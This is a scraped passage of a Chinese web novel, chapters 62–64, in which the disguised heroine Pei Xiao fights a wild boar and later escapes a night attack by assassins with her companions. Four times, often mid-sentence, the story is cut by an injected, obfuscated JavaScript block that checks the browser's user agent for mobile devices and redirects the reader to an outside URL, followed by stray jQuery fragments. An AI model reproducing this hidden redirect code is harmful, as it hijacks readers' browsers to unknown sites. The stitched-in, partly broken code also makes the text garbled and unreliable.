他们便行动起来。百里摇光到流民中动员召集会打猎的青壮年男子,只有两人符合,另有十个男子虽不会打猎,但主动想加入同去,可以帮忙搬运猎物,抓一些容易获取的小兽。
定下去林中打猎的人选之后,百里摇光又与众流民介绍道,“我与青壮年男子去山上打猎,此处由我的朋友慕公子和林公子照应,请大家耐心安分等待,日落之前,我们会带着猎物回来。”
裴逍自己在马车里重新包扎了腰上的伤,与百里摇光、御三以及十二个青壮年流民带了弓箭、布匹箩筐等工具上了山。
百里摇光道,“我们分两队走不同方向到不同的区域行猎,最后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800049|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再会合吧,这样既可以节省时间,也能发现更多的猎物。我和裴逍带一队,御护卫你带一队,如何?”
裴逍刚要表示反对,御三先一步开了口,“百里公子,我家世子要我时刻跟着裴公子。我没办法违令。”
裴逍当机立断道,“那分两队,我和御护卫,带五名不会猎的壮士一队,百里摇光你带两名会猎的壮士和其他人一队。一队带两把弓,十五支箭,箭支反复用。不管猎到多少,在快到傍晚时都必须回到此处。”
“好,行动吧。”百里摇光说着,分了人员便向南面走了。刚走几步,他突然转过身,冲在原地与其他人沟通的裴逍喊道,“你...们小心。”
裴逍闻声望去,见百里摇光双目灼灼地看着她,她嘴角弯起了一个几不可察的弧度,道,“你们也小心!”
·
裴逍与御三带着五名壮士,走了与百里摇光相反的方向。御三箭法也极准,他们边行边猎,收获颇丰,看着日头偏西了,清点了一下,有十二只野兔、二十五只山鸡还有一头梅花鹿,还摘了一些经灾民辨认可以吃的野果和菌菇。裴逍按之前百里摇光所说的粗粗估算了一下,这些应该足够一半多一些的人食用,便召集几人返回会合地。
许是因为他们带的猎物血腥气太重,没走多久,裴逍便觉察到有野兽正快速向他们靠近。
“御护卫,你带几位壮士速回集合地,我从小习惯山林,我来拖一会。”
“可是裴公子——”
“我有办法脱身,现在当务之急是要把猎物送回去,快去!”裴逍说罢便转身往回走了几步。
御三还在犹豫,旁边几个灾民见到远处一头身形壮大的野猪,哼哼哄哄吼叫着急冲而来,俱是惊颤不已,连连催促御三快点返回。“我们可以先回去那里,找百里公子来帮忙。”一个灾民说道。
御三听闻,下了决心先护送他们返回,便喊“走!”几人背负抬载猎物迅速向会合地奔去,御三垫在最后,以防有野兽袭击。
裴逍在那野猪尚有距离之时,搭弓瞄准那野猪的一只眼睛射了一箭。
“嗷——”野猪发出刺耳的嚎叫声,跌倒在地,旋即又很快站起,朝着裴逍冲撞而来。
裴逍趁那野猪跌倒之际,将弓箭收在背后,往旁边树上爬。在那野猪撞来之时,刚好上到树上。那树被野猪一撞,剧烈晃动了一下。
野猪速度迅猛,又熟悉山林,裴逍知道自己绝对跑不过野猪,但只躲在树上,野猪怕是很快就会放弃自己,去追御三他们。
裴逍又搭弓,耐心等待着,趁那野猪再扒树上蹦之时,陡然一箭射向野猪两眼中间上方位置,岂料因为树干晃动,那箭偏了些许,刺到其他位置,野猪皮厚,箭就像撞上了硬物,直接摔落在了地上。
而那野猪也再次被激怒,更加猛烈地撞起了树。
裴逍在树上随着野猪撞击而晃动。盘算着身上还有六支箭,一把匕首,手腕上还有一支袖箭,远距离的弓箭对皮糙肉厚且有坚硬刚毛的野猪来说,难以造成伤害,且其速度迅猛,很难找到可以瞄准射击的机会。她只好先拖拖时间,待无法拖延之时,再近身寻找机会。
裴逍刚想到这,就听得“咔”的一声,这树被野猪撞断了。
62. 第62章
“真是一点时间都不让拖。”裴逍下落之际瞅准一处有一人长、一臂粗的树枝,跳去翻滚一下卸力。刚拿到树枝,便听到身后野猪嚎叫而来。
裴逍急回身,在那野猪的獠牙离她只有两臂长的距离之时,裴逍迅速抬手瞄准野猪另一只眼射出袖箭,旋即立刻挥棍欲退开。
不料那野猪虽眼睛受伤,但却仍凭借惯性朝着她所在方向,猛地一冲,裴逍被野猪顶倒,裴逍右手挥树枝乱舞,阻止野猪獠牙靠近。
谁知那树枝过于脆弱,被野猪一口咬住,应声而断。
裴逍于那树枝被野猪咬住之时,果断弃了树枝,掏出怀中匕首。脚蹬身后树干,借力在地上转了半圈,头身调了一下,于那野猪朝着她咬来之时,猛地使力向着野猪喉部连续扎刺。野猪痛苦刺耳的嚎叫声令裴逍几乎听不到其他任何声音,刺了十几刀后,裴逍见那野猪身体放大、靠近,连忙向侧面翻滚,刚翻了一下,那野猪“轰”的一声倒在了裴逍刚才躺的位置。
“呼——”裴逍闭上眼长长出了口气,四肢仿佛都麻了,躺在地上一时不想起来。
·
“看来不需要我做什么了。”须臾后,少年的声音突然在裴逍身边响起。
裴逍猛地睁开眼,见百里摇光的脸出现在上方。不知是不是裴逍的错觉,那双桃花眼似乎有点红。
这画面,一年前在难凉寨遇到时,便是如此。
虽然她猜到百里摇光早就认出她是难凉寨上遇到的人,但为避免多生波折,裴逍赶忙起身,掩饰道,“怎会不需要?有劳神武有力的百里少将军把这猪扛回去了。”
百里摇光让到一边,细看那野猪。野猪两眼插了一长一短两支箭,颈项下血流如注,体长有四尺,预估重量得有至少两百斤。
百里摇光无奈摇摇头,“这我可扛不动。”说着,拿了背在身后的麻绳将野猪捆起来,打算拖回去,一边行动一边道,“应该让青阳来的,以他的力气,怕是都能给这猪举回去。”
裴逍一一拔出匕首、袖箭、弓箭,溅了满身血,听见百里摇光这么说,忍不住笑出了声。
两人配合快速行动,将野猪拖回了会合地。
御三和上山的青壮灾民见此,纷纷称赞他们两位英勇。百里摇光摆手道,“不敢当,不敢当,野猪是这位裴少侠一人之力斩杀。”众人一路啧啧赞叹,满载而归。裴逍点看了下百里摇光他们那队的猎物,共有山鸡七十八只。
“山鸡遇到你,真是倒了血霉了。”裴逍轻轻嘀咕了一声。
旁边一个灾民听闻说道,“没有办法啊,百里公子看到毛茸茸的畜生就不忍射杀,我们也看到了兔子、鹿还有狐狸,我们是射不中的,但以百里公子的箭法,肯定是没问题。”
裴逍有些苦笑不得,眼神戏谑地瞟向百里摇光。
百里摇光咳了咳,看向别处。
裴逍和百里摇光下山回到之前的地方,见只有安王府护卫一人在,原来是夏慕卿他们带灾民到了有河流处安顿,便于获取水源、清洗食物。
河边柴火堆已经堆了有十几堆,灾民们分别围着柴火堆而坐,见百里摇光带打猎队伍满载而归,皆喜笑颜开。
有一人顾不上看那些猎物,见裴逍满身染血,惊恐地冲来拉着裴逍四处查看。
“我没事,这些血都不是我的,是野猪的。”裴逍无奈道。
“那就好——”姜飒呼了口气,旋即又意识到什么,大睁圆眼瞪着百里摇光斥责道,“你去干什么啦,怎么让阿逍猎野猪?野猪啊?一猪二熊三老虎,野猪多可怕啊。而且阿逍身上还有伤——”
“我没事——”裴逍连忙拉着他走开。
“阿逍身上这么多血,可见当时多凶险?!你——”姜飒的声音逐渐飘远,百里摇光仍在原地没有说话,今日他赶到时,见裴逍躺在地上,他的第一反应竟不敢过去,仿佛只要不过去看,裴逍就永远是之前气定神闲,仿佛不会有什么可以打败他的样子。
直到他见地上的人轻轻抬起四肢晃动,那一刻,似乎天地重新有了色彩和声音,他感到双眼灼热,努力克制了片刻,才走过去,云淡风轻地说了句话。
姜飒所说,百里摇光不是没想过,他回来的路上已经懊悔了一路,虽然裴逍总是给人一种他无所不能的感觉,但他到底也只是个比自己还小两岁的少年。
·
“还有御三,明明让他保护你的,他怎么把你留那独自对抗野兽啊。”姜飒还在气愤数落。
裴逍无奈道,“都是我的主意,你要骂,也该骂我。”
“你也该骂!”姜飒说着瞪向裴逍。
裴逍抬眼看着姜飒等下文,谁料这厮看着裴逍却突然扁起嘴巴哭了。
许久没有人这么关心裴逍了,裴逍觉得前胸那一大块被血迹洇湿的衣裳贴在身体上,都不那么凉了。她轻轻拍了拍姜飒的背,“我这不是安全无恙嘛,别担心了。”
“以后不许自己冒险了!”姜飒恶狠狠说道。
“这个也不能一概而论,万一——”
“你答不答应吧?”姜飒又扁起了嘴。
裴逍轻叹了口气,无奈道,“好,答应你!”
“哼,敷衍我。”姜飒扭开头,他知道以裴逍的性子,根本做不到,心想只能以后自己多为她的安全考虑了。
这时,祁青阳捧着些衣物走到跟前,将手上衣物递给裴逍,道“先拿我的衣物换下吧。”
“多谢。”裴逍正准备接过,姜飒说道,“阿逍换我的吧,我这有小游在村子里跟村民买来的新的衣物。青阳换洗衣物没我多,自己留着吧”。
“那我换姜飒的吧,之前穿过他的衣裳,我们俩身形相差不大,更合身一些。”裴逍道。
裴逍到马车中换衣物,竟发现姜飒给她的换洗衣物中有裹胸布,看来是姜飒专门给她准备的,
中衣外衣都是男装样式。裴逍抱着血染的脏衣服出来,守在外面的姜飒道,“脏的烧了吧。”裴逍知道姜飒是担忧她的身份泄露,虽然这样很浪费,但现在确实也没有好办法,单独烧里面的裹胸布太容易引起怀疑,于是点了点头,两人走到一堆火堆前,盯着衣物烧尽。
·
在百里摇光他们还没回来的时候,夏慕卿和林致远就分配好了负责清洗和烤制的灾民,众人分工协作,夜色刚刚黑下来,河边便飘起了肉香味。他们两人细致到将分发食物的灾民也安排好了。先烤制好的食物由负责分发的灾民一一送到各火堆旁的食物区。
夏慕卿于人堆之中,用内力传音,徐徐道,“诸位不要着急,后面还有很多肉食在烤制,绝对够所有人饱餐的。”
因为一下午都由夏慕卿和林致远组织分派,灾民们对这两个清俊的公子已经有所熟悉,这时听到慕卿所说,纷纷应和了起来。
“太好了,终于可以吃顿饱饭了。”
“不急不急,我们还在等猪肉和鹿肉呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800050|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“慕公子、林公子、百里公子你们辛苦了,先吃点吧。”
......
野外用物匮乏,众人也都讲究不得了,各自拿着枝杈就河里冲洗一下,便做了餐具,有的直接上手拿着肉块便啃食了。
裴逍本就不是很能吃肉,再加上今日与那野猪搏杀,并不是很有胃口,便捡了几个果子垫了垫肚子,然后仰躺在地上闭目休息。
“姐姐,给你吃饼。”一个小童的声音在身边响起。
裴逍想着可能是思卿或曦月在周围,便没动作,却突然感觉被人轻轻推了推。
裴逍睁开眼,见是今日那在马车外跟着老婆婆乞食的小男童。她坐起来,看着那小童道,“我是哥哥,不是姐姐。”
“你长得好看,就是姐姐呀。”男童摇头晃脑说道。
“那好吧,不过呢,饼你留着自己吃或给阿婆吃吧,我不饿。”
“阿婆说,姐姐你们是恩人,我们已经有吃的了,这个给你吃。”裴逍顺着男童的目光看去,见是今日那老婆婆在远处一个人堆里笑着对她点了点头,她向老婆婆的位置拱手行了一礼。
“好,饼我收下了,谢谢你和阿婆。回去吧。”小童嘻嘻笑着跑向了老婆婆。
“裴逍收了那饼了,你放心了吧?”河边,夏慕卿慢条斯理地啃着块兔肉,跟旁边的百里摇光说道。
“他今日忙活了一整日,又被踩踏,又打猎,又跟野猪拼命的,就吃了几颗小野果,那怎么行?”百里摇光的目光仍旧锁在裴逍那处。
“说的也是,他那小身板是得多吃点,你要不费这功夫,让老婆婆她们将要给你的饼转送给裴逍,怕是他还不肯吃。”
“谁说不是?倔得要命。”
虽然后面陆续又加入了一些灾民,但因为猎物打得多,足够所有人吃饱,还多了一些食物,他们便组织将所有的猎物都烤制好,分发给灾民各自带着备用。
灾民们食用完,就着柴火堆有的互相聊一聊,有的便就地睡了。
今夜天晴月明,月光洒在河滩,仿佛给所有人轻柔地披上了一层薄薄的丝被。
·
夜半丑正时分,裴逍突然睁开了眼。她本靠坐在树边,那根陪伴她许久的长枪竖立在旁。
空中原本晴明的月被浓云遮蔽,裴逍心中生出一种不同寻常的似有危险靠近的感觉。她没有再睡,看了看周围。
姜飒正在她不远处,躺得四仰八叉,睡得正香。
在他旁边,是祁青阳,侧枕着一只手臂睡着。
稍远一点,慕卿和林致远垫着几层茅草衣物,也正睡着。本睡在他们旁边的百里摇光却不见了。
再远一些,便是护卫随从们或卧或坐地围绕着马车周边在休息,其中有三个护卫在最外侧站着巡看守夜。
离他们这队人不远处,便是今日那些灾民。
突然,裴逍感觉右肩被人轻拍了一下,她回头一看。
百里摇光双手撑在膝上,矮下身子问,“你怎么没睡?”
“不知怎么,突然醒了。”裴逍又看看四周,轻声道。
百里摇光也随着裴逍的动作四处看了看,小声道,“我有种不好的预感。”
他话音刚落,外侧突然出现“嘭”地一声闷响。
那声音很小,但在此时警醒的百里摇光和裴逍耳中,却是分外清晰。
侧枕着手臂休息的祁青阳也睁开了眼。
63. 第63章
裴逍看到原本站在最外侧的三个护卫少了两人。
“有敌袭,快起来!”一个护卫大喊。他声音一出,林中迅速窜出十几道黑影杀奔过来。
百里摇光拔出剑迎了上去。
裴逍将放在树旁的弓箭绑在身上,握住在侧竖立的长枪,迅速起身,但她没急着动手,冷静地四处观察着。
这边交手的声音已经惊起了在不远处休息的灾民,只见大片大片的灾民起身逃窜起来。不过,在灾民那侧,并没有杀手,可见这群人的目标在他们之中。只要那些灾民不跑过来,应该不会有危险。
护卫们纷纷起身与那些黑衣人对打起来,有些护卫还没反应过来就已被黑衣人杀死了。
祁青阳早已拽起还迷糊的姜飒,拉着他往马车靠拢。
慕卿推林致远上了另一辆马车,自己警惕地站在马车外,口中喊“思卿、曦月”。思卿毕竟是习武之人,她在听到护卫出声示警后马上醒了过来,安抚曦月。此时听到兄长叫她,掀开车帘回应,“哥,我们没事”。
慕卿见思卿、曦月都在马车中,安然无恙,心下稍安,与她们说道,“你们就在马车里,别出来。”随后他回身守在马车旁,有攻来的黑衣人,便与之对战。原本宿在另一辆马车里的思卿的婢女阿剑听到有敌袭,拉着曦月的婢女和徐夫人上了两位小姐的马车。
“这是怎么回事啊?”姜飒猛地清醒过来问道。
“不知,但来者不善,你快去马车里待着。”祁青阳说着将姜飒推进了空的马车中,自己从怀里掏出了把匕首握在胸前,警惕地看着四周。
见所有人都已有准备,裴逍方才挟着长枪,加入了战局。
安王府、温国公府和丞相府三家的护卫们则以马车为中心,分散在周围,与黑衣人对抗。
那些杀手武功高强,丞相府安排跟随曦月和林致远的护卫们多为普通武士,武力不敌,很快就被黑衣人杀尽。
安王府和温国公府的护卫人数虽少,却更精通武艺,都还尚存,正与百里摇光和裴逍竭力拼杀,没多久,杀来的十几个黑衣人只剩了几人。
正在此时,林中突然又跃入一批黑衣人,裴逍粗粗一估,有二十余人。
这批黑衣人直接冲着两辆马车袭来。裴逍等人也应势分为两队,一队百里摇光、夏慕卿加护卫保护着思卿、曦月所在的马车,马车上还有两人的婢女、林致远以及徐夫人和孩子。
另一队裴逍和温国公府护卫保护着姜飒、祁青阳和小厮小游所在的马车。
黑衣人人数倍增,形势瞬间斗转直下。
更糟糕的是,在林中还不断有箭或暗器射来,杀出来的前后两批黑衣人加起来有四十人上下,竟还不是全部的。
在此情况下,裴逍不得不一边与近战的黑衣人对击,一边还要留心举枪来阻挡、挥落箭枝和暗器,心中渐渐焦灼起来。
这时,突听马匹嘶鸣,思卿曦月所在的马车受惊,向着一个方向狂奔冲去,夏慕卿和护卫连忙追去。
那些黑衣人见状,也分出了约一半的人追去。
百里摇光犹豫了一下,看向裴逍的位置,正对上裴逍担忧的目光。
“你去吧,这里有我。”裴逍一边挥枪一边喊道。
百里摇光便跟随受惊马车离开的方向追去。
黑衣人虽然分去一半追击思卿曦月的马车,但留在这里进攻姜飒所在马车的人数也还远多于裴逍他们,形势非常危急。
裴逍见稍远一个方向,立着一位黑衣人,背手看着这边战场,身后一字列了四个黑衣人,像是首领,便抓住御三的胳膊,指向那边。
御三会意,试着往那边攻去,欲擒贼先擒王。
他挡开几个黑衣人的攻击,向那黑衣人首领所在位置冲突出去,不料已被他们识破,站在那黑衣人首领身后的黑衣人冲出来三个,围着他猛攻起来。他被阻住,根本无法近身黑衣人首领,甚至左后肩还被砍了一刀。裴逍见此,忙喊“先回来!”
御三听闻,且战且退回马车边。
姜府护卫也折了三人,己方越战越少,剩下的人也都渐渐力竭,再这么下去,怕是都要葬身于此。
裴逍当机立断,指着远处马匹所在位置,喊道,“御三驾马车,所有人上车上马!”
姜府护卫训练有素,一人迅速驾起马车,剩下两人奔行在侧掩护,裴逍跳上马车。一行人向外冲杀出去。
到他们原本系马之处,裴逍一枪砍断一匹马上的绳索,跃上马,而后驾马回身挡住攻击,掩护两名步行护卫也上马后,几人驾马驾车向着与百里摇光他们去的反方向奔走。
黑衣人紧追在后,他们有的在林中急跑,有的在树上跳跃穿行,还有的也弄来了马匹骑着马追击,始终紧紧跟着他们。
裴逍解下弓箭,于马上回身射击,射杀数人,稍微阻了下黑衣人追来的速度。
“黑衣人的目标是马车,我们得弃掉马车。”裴逍喊道。
御三当即道,“前面路口,弃了马车,分两队行动,我与世子和两位公子一队,再跟来两人,其他人带小游一队,所有人骑马只管往前跑,若脱离了危险,再寻回来!”
裴逍伸手拉了坐在马车上的祁青阳上马。
御三砍断束在马车上一匹马上的绳索,跳上马,拉了姜飒上去。
其余护卫按照安排,有两个跟在了他们四人后面,剩下两个护卫载了姜飒的小厮小游向另一个方向疾奔而出。
身后的黑衣人也随着分了两个方向追去。
·
疾行一段,裴逍回身见不远处仍有十来个黑衣人追在他们身后。
她背的几支箭已经用完,无法再远距离攻击了。那些黑衣人与他们之间的距离越来越近,追上他们只是时间问题。
御三也已意识到此,随着他一声令下,“十七、十八留下拦人。”那两个护卫齐齐道了声“是”,随即收住脚步,回身朝那些黑衣人攻击而去。
他们四人两马趁此继续向前疾奔。
没过多久,他们身后又有黑衣人跟上来了。
裴逍当即道,“你们先走!”说着,她便要把缰绳塞给祁青阳。
“不行!”姜飒在另一匹马上冲着裴逍大喊。
这时,他身后的御三突然说了声,“请裴公子带我家世子脱险。”说完,他便翻身下马,回身朝那些黑衣人杀奔而去。
“御护卫——”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800051|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“御三——”裴逍和姜飒在马上齐喊。正在这时,裴逍感觉身前一空,□□的马突然加速,她回身一看,祁青阳已经不见。
“我留下!”
裴逍听到身后传来祁青阳的声音,扭回头,只见祁青阳已经下了马,站在来时的路上笑着冲她们喊道。他的手里只有一把匕首,但他随手将那匕首一转,转身跟着御三向那些黑衣人杀奔去的姿势却是那么娴熟。
而且方才他在快速奔驰的马上迅速翻了下去,还能够毫发无伤。
裴逍心中震颤,不敢置信。
“阿逍,我们别走了!”姜飒没有看出祁青阳有武艺,担忧惊叫起来。
“走!”裴逍大声道。她看着马背上一道刀痕,这是方才祁青阳下马之前划的,就是为了让马吃痛跑得更快!虽然祁青阳的功夫深浅她不知道,但此时已经没有更好的选择,她能做的,就是尽快安顿了姜飒,回来接应祁青阳和御护卫。
姜飒见裴逍如此,没再说话,也奋力驾马急奔。
两人驾马奔了一段,见又是一路口。裴逍放了所骑的马奔向另一方向,翻身跃上姜飒的马,又行了一段,裴逍见此处树林茂密,极易藏人,便带着姜飒下马,将姜飒拉到一棵树上躲藏好。
“我回去接应他们!”裴逍跳下树喊了一声,说完便驾马往回奔去。
她身后,姜飒扒着树喊道,“阿逍你小心!”
·
裴逍驾马狂奔回去,远远便看到还有七八个黑衣人,御三和祁青阳都还没倒下。裴逍心里稍微松了口气。
裴逍手掣长枪,高喊,“御护卫、祁青阳让开!”随即驾马朝着黑衣人冲杀进去,迫得黑衣人散开避让。
交汇之际,裴逍所骑的马,马腿被黑衣人砍伤。裴逍翻身下马,向着祁青阳靠拢,挥舞长枪拼杀。
凉风穿林而过,带起了一阵血腥味,来自于地上已经倒下的那些黑衣人。
裴逍与祁青阳背对而立,裴逍掣长枪,祁青阳握了把不知从何处夺来的长刀,五个黑衣人,将他们围在中间。
裴逍能听到背后祁青阳的呼吸声很重。他已经快到极限了。
御三正与三个黑衣人缠斗,他一身黑衣,看不出哪里有受伤,但他的身手和反应都已明显慢了下来。
必须得速战速决了!裴逍心中想着,她快速舞动长枪,挑着三个黑衣人挥砍穿刺,使他们无法去攻击祁青阳,也无法突破他们继续追击。
交手之际,一个黑衣人突然朝着裴逍射出几枚暗器,那暗器朝着裴逍胸口飞来,速度奇快。裴逍虽已看到,但她正与另两个杀手交手,用长枪挡开根本来不及,如果移动身体躲避暗器能避过要害,但这些暗器就会击中在她身后的祁青阳。
裴逍没有躲开,她脑中只划过一个念头,“也算是遵父亲和师父遗命护姜飒而死,还是有脸去见他们的”。
祁青阳听到身后有东西快速靠近,他习惯性地侧身闪避,闪避瞬间转头去看,只见几枚暗器朝着裴逍射来,如果裴逍侧开身,是可以至少避开要害的。祁青阳明白裴逍是怕他避开了,自己就要被射中。
祁青阳大喊“躲开!”
可是裴逍没有躲避。
64. 第64章
眼看着那几枚暗器就要射入裴逍的胸口,突然撞上什么东西被击落了,那些东西似从林中飞出,但并不见林中有什么人。
那射暗器的黑衣人也甚是惊讶,目光在四周逡巡,裴逍趁其分神之际,射出腕上袖箭,正中那人心口。
有了裴逍的加入,局势很快逆转。
没过多久,他们斩杀了所有的黑衣人。
裴逍收了手,向林中四处逡巡,四围草木茂盛,却没有看到别的什么人。
“方才有人出手拦了暗器。”祁青阳力竭,大腿上的一道伤口正在汩汩地向外渗血,他支撑不住,以刀拄地半跪下来。
“不知道是什么人。”裴逍收回目光,见祁青阳如此情状,连忙扶住了他。
就在这时,身后传来“嘭”的一声响,裴逍回头,见御三已经支撑不住,俯身晕了过去。
裴逍忙去查看。御三后心中了一箭,那箭杆早被他斩断,但箭伤似乎已受了许久,加上交手行动,失血过多,才导致他晕了过去。此外,他身上还有其他大大小小伤口十几处,但好在这些伤口并不太严重。
“御护卫此前多护着我,所以受伤更重。”祁青阳道。
“嗯。”裴逍应了一声。
箭伤不好处理,裴逍没有妄动。她掀开外袍,从中衣衣摆撕下一截,跟祁青阳说道,“我先帮你把腿伤包扎一下”。
祁青阳点了点头,裴逍扶着他坐下。白色布料绕着那伤口绑了几圈刚刚扎好,那伤口处的殷红就已完全浸透白布显现了出来。祁青阳却未曾喊痛,连呻吟都没有一声。裴逍见他后肩也有一处刀伤,也先简单包扎了一下,其余还有一些划伤,考虑到这地方不安全,先未处理。
随后,她走到御三倒地之处,试图将御三扶起来,但御三人高马大,身形壮硕,裴逍几次尝试都没办法带走他。
祁青阳见此,硬撑着拄着刀,挪过来搭手,但因为他也受了伤,加上力气用尽了,所以两人费力半天无果。
祁青阳道,“这样,我和御护卫先留在这。我们藏在此处草丛掩映的地方,等你们安全了,再来接应我们。”
裴逍轻蹙了眉头,没有当即答应。
“现在没有别的办法。带上我们,如果再有杀手追来,根本没有一战之力。我们出事,姜飒也不能保全。”祁青阳坚持道。
裴逍盯着他看了会,无奈叹了口气,也只好按照他所说,将御三先拖扶到一侧草丛中趴着,将祁青阳扶到御三旁边,等待会再返回接应他们。
藏身树上的姜飒透过枝叶,看到只有裴逍一人回来,心慢慢沉了下去。
裴逍走到那树下,仰头看向姜飒,“你扶着树慢慢下来,我在下面护着你。”
姜飒从不曾爬过树,也不知道怎么下去,但是他听到裴逍说会在下面护着他,他就完全放心了,摸索着慢慢抱爬了下来,离地面还有三四步距离,他便松手跳到了地面。
“阿逍,他们?”
“他们性命暂时无碍,但是受伤很重。我们得尽快找到曦月给他们治伤。”
“嗯,那我们往回走吧。”
“那些杀手可能还会再来,我们还得保持警惕。”裴逍说着,两人一同往回走。
·
另外一边,百里摇光追着失控马车的方向而去,追上前面的人,与夏慕卿、两个护卫边追马车,边与黑衣人交手。
马车还在失控向前乱冲,马车中曦月、思卿、两个婢女以及徐夫人五人抱在一起,颠得东倒西歪。林致远站到了马车外,试图控制那惊马。
百里摇光看到那马车疾冲的方向前面有断崖,运轻功跃上马车,喊道,“思卿你们跳车!”说着,他一手揽起徐夫人和孩子,一手拽住林致远当先跃下马车。
思卿掀起车帘,见前面有数根粗壮树木,说道“曦月,待会你抱紧我。阿剑,你待会学着我抱绿绮跳车。”
“好,小姐你小心。”
说话间,马车已靠近了树木位置,思卿以鞭勾住树木,一手揽着曦月跳下马车。婢女阿剑如法炮制,带了绿绮跳车。
百里摇光、夏慕卿和两个护卫朝思卿他们聚拢。
追在后面的黑衣人,见马车中跳出几个女子后,再无人跳出,马车冲向山顶,他们朝着马车追了过去。
“思卿,曦月,你们没事吧?”夏慕卿上前拉住思卿边四处查看是否受伤边问道。
“哥,我们都没事。”思卿忙回应。
百里摇光看着那些黑衣人追马车而去,还在那马车迫近断崖处,阻住了马车落崖。从远处可以看到,他们掀了车帘查看。
夏慕卿目光也聚焦在那山崖处,走到百里摇光身边开了口,“看来,他们的目标不在我们之中。”
·
裴逍和姜飒往来的方向,走到了祁青阳和御三藏身的地方。
祁青阳听到动静,警惕了片刻,看到是裴逍和姜飒,放下了戒心,也昏睡了过去。
这时天已蒙蒙亮。裴逍见他二人暂时没有大碍,便去方才交手之处看了看,从黑衣人身上拿了箭囊,拔出了自己的袖箭,还找到几颗可以放出烟雾的霹雳弹,通通塞给了姜飒。
随后,裴逍走到御三身边,再次尝试将御三扶起。姜飒见此,蹲到了御三身边,说道,“阿逍,我来背御三。”
裴逍看了看蹲在御三身边,比自己也强壮不了多少的姜飒,按下心中的意外和欣慰,将御三搀扶到了姜飒背上。姜飒伸手向后,揽住御三的腿,在裴逍搭手下,用力了几次,终是将御三背了起来。
裴逍将祁青阳手臂搭在自己肩上,而后撑着祁青阳站起,四个人一同往回走。
四人继续往回走没多久,裴逍突然听到林中有动静,似有人马快速靠近。
裴逍赶忙示意姜飒,两人带着受伤的祁青阳和御三一起隐藏在了树丛中。
此前昏睡过去的祁青阳感觉到危险,也醒了过来。他看见有四个黑衣杀手策马靠近。
·
追思卿等人的杀手自崖上下来,没有再攻击百里摇光他们,便火速离去。
“我们回去看看。”百里摇光道。他们一行返回之前宿营之地,只看到了一些杀手和护卫的尸身,没有见到裴逍他们。
“这里有马车和马匹驶过的痕迹,裴逍他们应该是往这个方向去了。”慕卿指着一个方向说道。
百里摇光看了看地上的车辙马蹄印,应道,“他们是为了摆脱杀手追杀,往这个方向逃去了,我们速去看看吧。”
说着,他们一行朝裴逍几人之前离开的方向赶去。
出发没多久,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800052|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们找到了被裴逍他们弃掉的另一辆马车,还有几匹马。
“裴逍他们也弃了车,这里有两条岔路,不知他们走了哪里?”夏慕卿观察着两个岔路口,看有没有线索。
思卿指着一个方向突然喊道,“你们看,那个方向有烟雾。”
“那应该是黑衣人的信号烟,可能是裴逍他们被发现了,咱们走那条路。”百里摇光说着便驾马,当先朝那个方向赶了去。
他们一行人骑马驾车,离信号烟雾越来越近,见八个黑衣人正在攻击当中三个人,那三个人正是姜飒的小厮小游和护卫。两个护卫护着小游,与八个黑衣人交手,甚是吃力。百里摇光、夏慕卿和安王府护卫出手襄助,几人共同解决了那八个黑衣人。
小游焦急道,“世子他们走了最左边的岔路。我们快去支援他们吧。”
百里摇光见裴逍、姜飒和祁青阳不在这里,猜测他们肯定是分头行动了,得知他们的方位,便上马当先要往回走。他拽着缰绳正要往前行,却被突然袭来的黑衣身影阻住。
“又有敌袭!”夏慕卿喊了一声。
·
裴逍躲在树丛中,见祁青阳醒来,给他使手势,指了指自己和他,又指了指弓箭。
祁青阳明白裴逍的意思,见裴逍三、二、一手势完毕,两人瞬间起手各向着一个黑衣人射击,双双命中其咽喉。
剩下的两个黑衣人见状,向着他们躲藏的地方攻击过来。裴逍掣起长枪,跳出树丛,将两个黑衣人挡在外面厮杀。其中一个黑衣人拿出了信号烟雾,准备放出找帮手,被裴逍看到,将那信号筒一枪拍落。
